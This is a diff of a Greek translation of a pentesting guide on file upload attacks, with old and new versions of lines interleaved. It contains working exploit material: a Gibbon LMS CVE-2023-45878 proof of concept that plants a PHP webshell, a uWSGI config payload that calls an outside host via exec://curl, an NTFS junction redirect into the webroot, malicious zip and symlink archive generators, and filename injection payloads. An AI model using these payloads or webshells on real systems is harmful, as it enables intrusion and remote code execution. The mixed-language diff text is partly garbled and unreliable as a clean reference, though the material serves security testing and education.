- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- Άλλη τεχνική για να δημιουργηθεί payload που **survives an image resizing**, χρησιμοποιώντας τη PHP-GD συνάρτηση `thumbnailImage`. Εναλλακτικά, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κείμενο που θα **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
|
||||
- Βρείτε μια ευπάθεια που να επιτρέπει το **rename** του αρχείου που έχει ήδη ανέβει (για να αλλάξετε την extension).
|
||||
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
||||
- Βρείτε ευπάθεια που να επιτρέπει το **rename** του αρχείου που έχει ήδη ανέβει (για να αλλάξετε το extension).
|
||||
- Βρείτε μια **Local File Inclusion** ευπάθεια για να εκτελέσετε το backdoor.
|
||||
- **Possible Information disclosure**:
|
||||
1. Ανεβάστε το **ίδιο αρχείο** **πολλές φορές** (και **ταυτόχρονα**) με το **ίδιο όνομα**
|
||||
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
||||
3. Ανέβασμα αρχείου με **"." , "..", ή "…" ως όνομά του**. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα uploaded αρχεία στο "/www/uploads/" directory, το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο called
|
||||
uploads” in the "/www/" directory.
|
||||
4. Ανεβάστε ένα αρχείο που ενδέχεται να μην διαγραφεί εύκολα όπως **"…:.jpg"** σε **NTFS**. (Windows)
|
||||
5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
|
||||
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **reserved** (**forbidden**) **names** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
|
||||
- Δοκιμάστε επίσης να **ανεβάσετε ένα executable** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα.
|
||||
1. Upload **several times** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||
2. Upload ενός αρχείου με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
||||
3. Upload ενός αρχείου με όνομα **"." , "..", or "…"**. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα uploaded αρχεία στον κατάλογο "/www/uploads/", το filename "." θα δημιουργήσει ένα αρχείο που ονομάζεται
|
||||
uploads” στον κατάλογο "/www/".
|
||||
4. Upload ενός αρχείου που δεν μπορεί να διαγραφεί εύκολα όπως **"…:.jpg"** σε **NTFS**. (Windows)
|
||||
5. Upload ενός αρχείου σε **Windows** με **invalid characters** όπως `|<>*?”` στο όνομά του. (Windows)
|
||||
6. Upload ενός αρχείου σε **Windows** χρησιμοποιώντας **reserved** (**forbidden**) **names** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Δοκιμάστε επίσης να upload-άρετε ένα εκτελέσιμο (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **will execute code** όταν ανοιχτεί κατά λάθος από το θύμα.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
@ -129,15 +129,15 @@ The `.inc` extension is sometimes used for php files that are only used to **imp
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Οπότε, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το XML αρχείο στο `$JETTY_BASE/webapps/` και περιμένετε το shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
Remote Command Execution (RCE) ευπάθειες μπορούν να εκμεταλλευτούν σε uWSGI servers εάν κάποιος έχει τη δυνατότητα να τροποποιήσει το `.ini` configuration file. Τα uWSGI configuration files χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώσουν "magic" variables, placeholders, και operators. Ιδιαίτερα, ο operator '@', που χρησιμοποιείται ως `@(filename)`, προορίζεται για να include τα περιεχόμενα ενός αρχείου. Από τα διάφορα supported schemes στο uWSGI, το "exec" scheme είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η λειτουργία μπορεί να χρησιμοποιηθεί με κακόβουλο τρόπο για Remote Command Execution ή Arbitrary File Write/Read όταν ένα `.ini` configuration file υποβληθεί σε επεξεργασία.
|
||||
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
```ini
|
||||
@ -157,20 +157,20 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Η εκτέλεση του payload συμβαίνει κατά το parsing του αρχείου διαμόρφωσης. Για να ενεργοποιηθεί και να αναλυθεί η διαμόρφωση, η διαδικασία uWSGI πρέπει είτε να επανεκκινήσει (πιθανώς μετά από μια κατάρρευση ή λόγω ενός Denial of Service attack) είτε το αρχείο να ρυθμιστεί σε auto-reload. Η δυνατότητα auto-reload, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές.
|
||||
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του configuration file. Για να ενεργοποιηθεί και να αναλυθεί η configuration, η διεργασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από crash ή εξαιτίας μιας Denial of Service attack) είτε το αρχείο να έχει ρυθμιστεί για auto-reload. Η λειτουργία αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές.
|
||||
|
||||
Είναι κρίσιμο να κατανοηθεί η χαλαρή φύση του parsing των αρχείων διαμόρφωσης του uWSGI. Συγκεκριμένα, το προαναφερθέν payload μπορεί να εισαχθεί σε ένα binary file (όπως ένα image ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.
|
||||
Είναι κρίσιμο να κατανοήσουμε την χαλαρή φύση του τρόπου με τον οποίο γίνεται το parsing του configuration file του uWSGI. Συγκεκριμένα, το αναφερθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή ένα PDF), διευρύνοντας περαιτέρω το εύρος πιθανής εκμετάλλευσης.
|
||||
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
Unauthenticated endpoint στο Gibbon LMS επιτρέπει arbitrary file write μέσα στο web root, οδηγώντας σε pre-auth RCE με την τοποθέτηση ενός PHP αρχείου. Ευάλωτες εκδόσεις: έως και 25.0.01.
|
||||
Ένα unauthenticated endpoint στο Gibbon LMS επιτρέπει arbitrary file write μέσα στο web root, οδηγώντας σε pre-auth RCE με την τοποθέτηση ενός PHP αρχείου. Ευάλωτες εκδόσεις: έως και η 25.0.01.
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (ο server αγνοεί το type/name, κάνει base64-decode του τμήματος που ακολουθεί)
|
||||
- `path`: destination filename relative to Gibbon install dir (π.χ., `poc.php` ή `0xdf.php`)
|
||||
- `gibbonPersonID`: οποιαδήποτε μη-κενή τιμή γίνεται αποδεκτή (π.χ., `0000000001`)
|
||||
|
||||
Minimal PoC to write and read back a file:
|
||||
```bash
|
||||
@ -185,7 +185,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
# Verify write
|
||||
curl http://target/Gibbon-LMS/poc.php
|
||||
```
|
||||
Αποθέστε ένα ελάχιστο webshell και εκτελέστε commands:
|
||||
Τοποθέτησε ένα ελάχιστο webshell και εκτέλεσε εντολές:
|
||||
```bash
|
||||
# '<?php system($_GET["cmd"]); ?>' base64
|
||||
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||
@ -195,16 +195,16 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Ο handler εκτελεί `base64_decode($_POST["img"])` μετά το split με `;` και `,`, και στη συνέχεια γράφει bytes στο `$absolutePath . '/' . $_POST['path']` χωρίς να ελέγχει extension/type.
|
||||
- Ο προκύπτων κώδικας τρέχει ως ο χρήστης της web υπηρεσίας (π.χ., XAMPP Apache σε Windows).
|
||||
Notes:
|
||||
- Ο handler εκτελεί `base64_decode($_POST["img"])` μετά το split με `;` και `,`, στη συνέχεια γράφει bytes στο `$absolutePath . '/' . $_POST['path']` χωρίς να ελέγχει extension/type.
|
||||
- Ο προκύπτων κώδικας εκτελείται ως ο χρήστης της web υπηρεσίας (π.χ., XAMPP Apache on Windows).
|
||||
|
||||
Αναφορές για αυτό το bug περιλαμβάνουν το usd HeroLab advisory και την NVD entry. Δείτε την ενότητα References παρακάτω.
|
||||
References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Σε κάποιες περιπτώσεις μπορεί να βρείτε ότι ένας server χρησιμοποιεί **`wget`** για να **download files** και μπορείτε να **indicate** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι το extension των κατεβαζόμενων αρχείων βρίσκεται σε μια whitelist για να διασφαλίσει ότι θα κατέβουν μόνο επιτρεπτά αρχεία. Ωστόσο, **this check can be bypassed.**\
|
||||
Το **maximum** μήκος ενός **filename** σε **linux** είναι **255**, ωστόσο, **wget** περικόπτει τα filenames σε **236** χαρακτήρες. Μπορείτε να **download a file called "A"*232+".php"+".gif"**, αυτό το filename θα **bypass** τον **check** (όπως σε αυτό το παράδειγμα **".gif"** είναι ένα **valid** extension) αλλά `wget` θα **rename** το αρχείο σε **"A"*232+".php"**.
|
||||
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
|
||||
The **μέγιστο** μήκος ενός **filename** σε **linux** είναι **255**, ωστόσο, **wget** truncate the filenames to **236** characters. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -227,35 +227,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Σημειώστε ότι **άλλη επιλογή** που ίσως σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε διαφορετικό αρχείο**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και στη συνέχεια το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα στην οποία έγινε ανακατεύθυνση με το όνομα του αρχείου που αναφέρεται στο αρχικό URL**.
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
|
||||
## Tools
|
||||
### Απόδραση του καταλόγου upload μέσω NTFS junctions (Windows)
|
||||
|
||||
(Για αυτή την επίθεση θα χρειαστείτε τοπική πρόσβαση στη μηχανή Windows) Όταν τα uploads αποθηκεύονται σε υποφακέλους ανά χρήστη στα Windows (π.χ., C:\Windows\Tasks\Uploads\<id>\) και ελέγχετε τη δημιουργία/διαγραφή αυτού του υποφακέλου, μπορείτε να τον αντικαταστήσετε με ένα directory junction που δείχνει σε μια ευαίσθητη τοποθεσία (π.χ., το webroot). Τα επόμενα uploads θα γραφτούν στο target path, επιτρέποντας code execution εάν ο στόχος ερμηνεύει server‑side code.
|
||||
|
||||
Παράδειγμα ροής για την ανακατεύθυνση των uploads στο XAMPP webroot:
|
||||
```cmd
|
||||
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
|
||||
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
|
||||
:: 2) Remove the created folder and create a junction to webroot
|
||||
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
|
||||
|
||||
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
|
||||
:: Minimal PHP webshell for testing
|
||||
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
|
||||
|
||||
:: 4) Trigger
|
||||
curl "http://TARGET/shell.php?cmd=whoami"
|
||||
```
|
||||
Σημειώσεις
|
||||
- mklink /J creates an NTFS directory junction (reparse point). Ο λογαριασμός του web server πρέπει να ακολουθεί το junction και να έχει δικαίωμα εγγραφής στον προορισμό.
|
||||
- Αυτό αναδρομολογεί αυθαίρετες εγγραφές αρχείων· αν ο προορισμός εκτελεί scripts (PHP/ASP), αυτό γίνεται RCE.
|
||||
- Μέτρα άμυνας: μην επιτρέπετε writable upload roots να είναι attacker‑controllable κάτω από C:\Windows\Tasks ή παρόμοια· μπλοκάρετε τη δημιουργία junctions· validate extensions server‑side· αποθηκεύστε uploads σε ξεχωριστό volume ή με deny‑execute ACLs.
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Κάποιοι legacy upload handlers που χρησιμοποιούν τη `snprintf()` ή παρόμοιες για να φτιάξουν multi-file arrays από ένα single-file upload μπορούν να ξεγελαστούν και να πλαστογραφήσουν τη δομή `_FILES`. Λόγω ασυνεπειών και truncation στη συμπεριφορά της `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί σαν πολλαπλά indexed files από την πλευρά του server, μπερδεύοντας λογική που υποθέτει ένα συγκεκριμένο σχήμα (π.χ., θεωρώντας το ως multi-file upload και παίρνοντας unsafe branches). Αν και πιο niche σήμερα, αυτό το pattern “index corruption” περιστασιακά επανεμφανίζεται σε CTFs και παλαιότερες βάσεις κώδικα.
|
||||
Κάποιοι legacy upload handlers που χρησιμοποιούν `snprintf()` ή παρόμοια για να χτίσουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να πλαστογραφήσουν τη δομή `_FILES`. Λόγω ασυνεπειών και αποκοπών στη συμπεριφορά του `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά indexed αρχεία στην πλευρά του server, μπερδεύοντας λογική που υποθέτει συγκεκριμένη δομή (π.χ. treating it as a multi-file upload and taking unsafe branches). Παρότι σήμερα είναι niche, αυτό το μοτίβο “index corruption” αναδύεται περιστασιακά σε CTFs και παλαιότερα codebases.
|
||||
|
||||
## Από το File upload σε άλλες ευπάθειες
|
||||
|
||||
- Θέστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε **path traversal**
|
||||
- Θέστε το **filename** σε `sleep(10)-- -.jpg` και ίσως να μπορέσετε να επιτύχετε **SQL injection**
|
||||
- Θέστε το **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε **XSS**
|
||||
- Θέστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια **command injection** (περισσότερα [command injections tricks εδώ](../command-injection.md))
|
||||
- Ορίστε **filename** σε `../../../tmp/lol.png` και δοκιμάστε να επιτύχετε **path traversal**
|
||||
- Ορίστε **filename** σε `sleep(10)-- -.jpg` και ίσως καταφέρετε **SQL injection**
|
||||
- Ορίστε **filename** σε `<svg onload=alert(document.domain)>` για να επιτύχετε **XSS**
|
||||
- Ορίστε **filename** σε `; sleep 10;` για να δοκιμάσετε κάποιο command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Δοκιμάστε **διαφορετικά svg payloads** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- Δοκιμάστε **different svg payloads** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Αν μπορείτε να **δηλώσετε στον web server να πιάσει μια εικόνα από ένα URL** μπορείτε να δοκιμάσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **αποθηκευτεί** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/] και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
||||
- Αν μπορείτε να υποδείξετε στον web server να τραβήξει μια **εικόνα** από ένα URL, μπορείτε να δοκιμάσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποιο **δημόσιο** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες κάθε επισκέπτη**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Ειδικά σχεδιασμένα PDFs για XSS: Η [παρακάτω σελίδα δείχνει πώς να **inject PDF data για να αποκτήσετε JS execution**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs μπορείτε να προετοιμάσετε ένα PDF που θα εκτελέσει arbitrary JS ακολουθώντας τις δοσμένες οδηγίες.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Ελέγξτε αν υπάρχει οποιοδήποτε **size limit** κατά το uploading αρχείων
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs, μπορείτε να προετοιμάσετε κάποιο PDF που θα εκτελέσει αυθαίρετο JS ακολουθώντας τις οδηγίες.
|
||||
- Ανεβάστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content για να ελέγξετε αν ο server έχει κάποιο **antivirus**
|
||||
- Ελέγξτε αν υπάρχει οποιοδήποτε **size limit** κατά την upload αρχείων
|
||||
|
||||
Εδώ είναι μια top 10 λίστα από πράγματα που μπορείτε να επιτύχετε ανεβάζοντας αρχεία (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Εδώ είναι μια top 10 λίστα πραγμάτων που μπορείτε να επιτύχετε ανεβάζοντας (από [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -275,39 +300,39 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Magic Header Bytes
|
||||
## Μαγικά Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλα filetypes.
|
||||
Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
|
||||
Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί στον server, μπορείτε να κάνετε 2 πράγματα:
|
||||
|
||||
### Symlink
|
||||
|
||||
Upload ένα link που περιέχει soft links προς άλλα αρχεία, και έπειτα, προσπελαύνοντας τα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα linked αρχεία:
|
||||
Ανεβάστε ένα αρχείο που περιέχει soft links προς άλλα αρχεία· κατά την πρόσβαση στα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα συνδεδεμένα αρχεία:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Αποσυμπίεση σε διαφορετικούς φακέλους
|
||||
### Decompress in different folders
|
||||
|
||||
Η απρόβλεπτη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από OS-level command execution μέσω κακόβουλων file uploads, η ιεραρχική υποστήριξη συμπίεσης και οι δυνατότητες directory traversal του ZIP archive format μπορούν να αξιοποιηθούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από ασφαλείς upload directories χειριζόμενοι τη λειτουργία αποσυμπίεσης της στοχευόμενης εφαρμογής.
|
||||
Η απροσδόκητη δημιουργία αρχείων σε directories κατά τη διάρκεια της decompression αποτελεί σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από OS-level command execution μέσω malicious file uploads, το hierarchical compression support και οι δυνατότητες directory traversal του ZIP archive format μπορούν να αξιοποιηθούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από secure upload directories χειραγωγώντας τη decompression λειτουργία της στοχευμένης εφαρμογής.
|
||||
|
||||
Ένας αυτοματοποιημένος exploit για να κατασκευάσει τέτοια αρχεία είναι διαθέσιμος στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το utility μπορεί να χρησιμοποιηθεί όπως φαίνεται:
|
||||
Ένας automated exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμος στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Η utility μπορεί να χρησιμοποιηθεί όπως φαίνεται:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως `/flag.txt`, πρέπει να δημιουργηθεί ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
|
||||
Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
|
||||
|
||||
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου αρχείου zip:
|
||||
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για να δημιουργήσει ένα malicious zip file:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -328,9 +353,9 @@ create_zip()
|
||||
```
|
||||
**Κατάχρηση της συμπίεσης για file spraying**
|
||||
|
||||
Για περισσότερες λεπτομέρειες **ελέγξτε το αρχικό δημοσίευμα στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Για περισσότερες λεπτομέρειες **δείτε την αρχική ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Δημιουργία PHP Shell**: Κώδικας PHP γράφεται για να εκτελεί εντολές που περνάνε μέσω της μεταβλητής `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: Γράφεται κώδικας PHP για να εκτελεί εντολές που δίνονται μέσω της μεταβλητής `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -340,14 +365,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying και Δημιουργία zip αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συγκεντρώνεται ένα αρχείο zip που περιέχει αυτά τα αρχεία.
|
||||
2. **File Spraying and Compressed File Creation**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Τροποποίηση με Hex Editor ή vi**: Τα ονόματα των αρχείων μέσα στο zip αλλάζουν χρησιμοποιώντας vi ή έναν hex editor, αντικαθιστώντας "xxA" με "../" για να διασχίσουν καταλόγους.
|
||||
